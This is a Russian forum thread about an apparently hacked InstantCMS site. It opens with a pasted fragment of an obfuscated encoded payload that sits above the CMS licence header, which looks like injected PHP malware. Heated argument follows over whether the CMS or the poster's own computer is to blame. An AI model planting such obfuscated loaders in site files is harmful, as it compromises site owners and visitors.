yfvFSEHHS9IH0IFK0SUEH5HVy0cYvVzLm0vYvEwZP4vWzx9ZFMcpQ0vYvEsH0IFIxIFJlWFEH1CIRIsDHERHvWqYvVznQ0vYz1xAFtvZQL2L
wMyZQt3BGH3LJVjAmt1AGWwMQRlMGMvAwL0AQZvYvEsH0IFIxIFJlWGEIWJEIWsGxSAEFWqYvEsH0IFIxIFJlWFEISIEIAHK1IFFFWqYvE
sH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKF4xLmNhVwRvXFx7sJyzXTymp2I0XPEcLaLcXKgyL2uiVPEcLaL7sK1cMvucp3AyqPtxK1WSHIISH
1EoVaNvKFxzWvEsHxIEIHIGISfvpPWqCG0vAGx0ZQqvBJZvXKgNLKAmMKW0XPEsHxIEIHIGISfvLlWqXGg9"));'));}
//###==###

/******************************************************************************/
// //
// InstantCMS v1.10.6 //
// instantcms.ru/ //
// //
// written by InstantCMS Team, 2007-2015 //
// produced by InstantSoft, (www.instantsoft.ru) //
// //
// LICENSED BY GNU/GPL v2 //
// //
/******************************************************************************/

И это все на поддоменах… доступ на хостинг только белый АЙПИ адрес для остальных вообще не доступен

#10 3 сентября 2015 в 06:13

Уважаемые пользователи даной CMS проверяйте все свои файлы и имейте ввиду...
Эти подонки бесплатно ничего не дадут… а удалить с данного сайта могут, так же как и приняли.
Сегодня напишу статью о всем происходящем здесь и адвакаты все моменты зафиксируют, скрины и хостеры все подтверждают…
для подачи в роскомнадзор, за проблемы проблемы.
Думаю стоит воспользоваться более надежной CMS — хорош уже этих поддонков кормить… их уже пора раскачивать.

#11 3 сентября 2015 в 07:09
Vladslav Li, может, вам пора в больницу? crazy
Общаться за разъяснениями хотя бы пытались к уважаемым R2 и/или Fuze???
Имхо, вы как минимум слегка неадекватны. Ищите проблему у себя в голове!
#12 3 сентября 2015 в 07:24
Мы прощаемся с автором по понятно каким причинам.
По теме можно сказать только то, что уже говорилось не раз.
По всем симптомам очевидно заражение клиентской машины автора.
Ну, или он перешел дорогу некому всемогущему хакеру, обходящему запреты на IP.
При чем здесь CMS и компоненты, которыми без каких-либо проблем пользуются тысячи других людей, не понятно.

Вам стоит уже начать переживать.

Vladslav Li
Угрозы это наивно. Мне переживать абсолютно не за что, потому что я приношу людям только пользу.
И если уж делать такие угрозы, то надо бы, как минимум, привести хоть какое-то фактическое обоснование своих слов.

PS: Просьба модераторам тему не удалять, сохранить как свидетельство адекватного стиля общения автора.
#13 3 сентября 2015 в 08:24
Повеселили сутра)
#14 3 сентября 2015 в 08:56
Странно, общался в своё время в личке с автором. Неадекватности не заметил, оставил приятные воспоминания, а тут…
#15 3 сентября 2015 в 10:29
А может быть Vladslav Li выполнил требования роскомнадзора! smile
Похоже парень был уверен в своих заблуждениях до такой степени что ему даже в голову не приходило проверить свой комп или обратится за помощью.
Вы не можете отвечать в этой теме.
Войдите или зарегистрируйтесь, чтобы писать на форуме.
Используя этот сайт, вы соглашаетесь с тем, что мы используем файлы cookie.